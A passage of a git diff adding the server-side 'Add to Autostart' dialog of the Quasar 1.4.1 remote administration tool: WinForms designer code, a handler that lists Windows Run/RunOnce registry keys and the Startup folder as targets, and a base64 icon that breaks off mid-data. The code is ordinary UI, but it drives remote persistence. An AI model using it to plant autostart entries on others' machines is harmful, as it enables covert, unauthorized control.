b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs new file mode 100755 index 0000000..ab94839 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.Designer.cs @@ -0,0 +1,175 @@ +namespace Quasar.Server.Forms +{ + partial class FrmStartupAdd + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupAdd)); + this.groupAutostartItem = new System.Windows.Forms.GroupBox(); + this.lblType = new System.Windows.Forms.Label(); + this.cmbType = new System.Windows.Forms.ComboBox(); + this.txtPath = new System.Windows.Forms.TextBox(); + this.txtName = new System.Windows.Forms.TextBox(); + this.lblPath = new System.Windows.Forms.Label(); + this.lblName = new System.Windows.Forms.Label(); + this.btnAdd = new System.Windows.Forms.Button(); + this.btnCancel = new System.Windows.Forms.Button(); + this.toolTip1 = new System.Windows.Forms.ToolTip(this.components); + this.groupAutostartItem.SuspendLayout(); + this.SuspendLayout(); + // + // groupAutostartItem + // + this.groupAutostartItem.Controls.Add(this.lblType); + this.groupAutostartItem.Controls.Add(this.cmbType); + this.groupAutostartItem.Controls.Add(this.txtPath); + this.groupAutostartItem.Controls.Add(this.txtName); + this.groupAutostartItem.Controls.Add(this.lblPath); + this.groupAutostartItem.Controls.Add(this.lblName); + this.groupAutostartItem.Location = new System.Drawing.Point(12, 12); + this.groupAutostartItem.Name = "groupAutostartItem"; + this.groupAutostartItem.Size = new System.Drawing.Size(653, 105); + this.groupAutostartItem.TabIndex = 0; + this.groupAutostartItem.TabStop = false; + this.groupAutostartItem.Text = "Autostart Item"; + // + // lblType + // + this.lblType.AutoSize = true; + this.lblType.Location = new System.Drawing.Point(35, 74); + this.lblType.Name = "lblType"; + this.lblType.Size = new System.Drawing.Size(33, 13); + this.lblType.TabIndex = 4; + this.lblType.Text = "Type:"; + // + // cmbType + // + this.cmbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cmbType.FormattingEnabled = true; + this.cmbType.Location = new System.Drawing.Point(74, 71); + this.cmbType.Name = "cmbType"; + this.cmbType.Size = new System.Drawing.Size(573, 21); + this.cmbType.TabIndex = 5; + this.toolTip1.SetToolTip(this.cmbType, "Remote Type of Autostart Item."); + // + // txtPath + // + this.txtPath.Location = new System.Drawing.Point(74, 43); + this.txtPath.Name = "txtPath"; + this.txtPath.Size = new System.Drawing.Size(573, 22); + this.txtPath.TabIndex = 3; + this.toolTip1.SetToolTip(this.txtPath, "Remote Path to Autostart Item."); + this.txtPath.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtPath_KeyPress); + // + // txtName + // + this.txtName.Location = new System.Drawing.Point(74, 15); + this.txtName.MaxLength = 64; + this.txtName.Name = "txtName"; + this.txtName.Size = new System.Drawing.Size(573, 22); + this.txtName.TabIndex = 1; + this.txtName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtName_KeyPress); + // + // lblPath + // + this.lblPath.AutoSize = true; + this.lblPath.Location = new System.Drawing.Point(35, 46); + this.lblPath.Name = "lblPath"; + this.lblPath.Size = new System.Drawing.Size(33, 13); + this.lblPath.TabIndex = 2; + this.lblPath.Text = "Path:"; + // + // lblName + // + this.lblName.AutoSize = true; + this.lblName.Location = new System.Drawing.Point(29, 18); + this.lblName.Name = "lblName"; + this.lblName.Size = new System.Drawing.Size(39, 13); + this.lblName.TabIndex = 0; + this.lblName.Text = "Name:"; + // + // btnAdd + // + this.btnAdd.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnAdd.Location = new System.Drawing.Point(576, 123); + this.btnAdd.Name = "btnAdd"; + this.btnAdd.Size = new System.Drawing.Size(89, 23); + this.btnAdd.TabIndex = 1; + this.btnAdd.Text = "&Add"; + this.btnAdd.UseVisualStyleBackColor = true; + this.btnAdd.Click += new System.EventHandler(this.btnAdd_Click); + // + // btnCancel + // + this.btnCancel.DialogResult = System.Windows.Forms.DialogResult.Cancel; + this.btnCancel.Location = new System.Drawing.Point(449, 123); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(89, 23); + this.btnCancel.TabIndex = 2; + this.btnCancel.Text = "&Cancel"; + this.btnCancel.UseVisualStyleBackColor = true; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // FrmAddToAutostart + // + this.AcceptButton = this.btnAdd; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.CancelButton = this.btnCancel; + this.ClientSize = new System.Drawing.Size(677, 158); + this.Controls.Add(this.btnCancel); + this.Controls.Add(this.btnAdd); + this.Controls.Add(this.groupAutostartItem); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmAddToAutostart"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Add to Autostart"; + this.groupAutostartItem.ResumeLayout(false); + this.groupAutostartItem.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.GroupBox groupAutostartItem; + private System.Windows.Forms.TextBox txtPath; + private System.Windows.Forms.TextBox txtName; + private System.Windows.Forms.Label lblPath; + private System.Windows.Forms.Label lblName; + private System.Windows.Forms.ComboBox cmbType; + private System.Windows.Forms.Label lblType; + private System.Windows.Forms.Button btnAdd; + private System.Windows.Forms.Button btnCancel; + private System.Windows.Forms.ToolTip toolTip1; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs new file mode 100755 index 0000000..032be43 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.cs @@ -0,0 +1,73 @@ +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Models; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmStartupAdd : Form + { + public StartupItem StartupItem { get; set; } + + public FrmStartupAdd() + { + InitializeComponent(); + AddTypes(); + } + + public FrmStartupAdd(string startupPath) + { + InitializeComponent(); + AddTypes(); + + txtName.Text = Path.GetFileNameWithoutExtension(startupPath); + txtPath.Text = startupPath; + } + + /// + /// Adds all supported startup types to ComboBox groups. + /// + /// + /// Must be in same order as . + /// + private void AddTypes() + { + // must be in same order as StartupType + cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); + cmbType.Items.Add("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); + cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); + cmbType.Items.Add("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce"); + cmbType.Items.Add("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"); + cmbType.SelectedIndex = 0; + } + + private void btnAdd_Click(object sender, EventArgs e) + { + StartupItem = new StartupItem + {Name = txtName.Text, Path = txtPath.Text, Type = (StartupType) cmbType.SelectedIndex}; + + this.DialogResult = DialogResult.OK; + this.Close(); + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.DialogResult = DialogResult.Cancel; + this.Close(); + } + + private void txtName_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + + private void txtPath_KeyPress(object sender, KeyPressEventArgs e) + { + e.Handled = ((e.KeyChar == '\\' || FileHelper.HasIllegalCharacters(e.KeyChar.ToString())) && + !char.IsControl(e.KeyChar)); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx new file mode 100755 index 0000000..09d9a97 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupAdd.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + 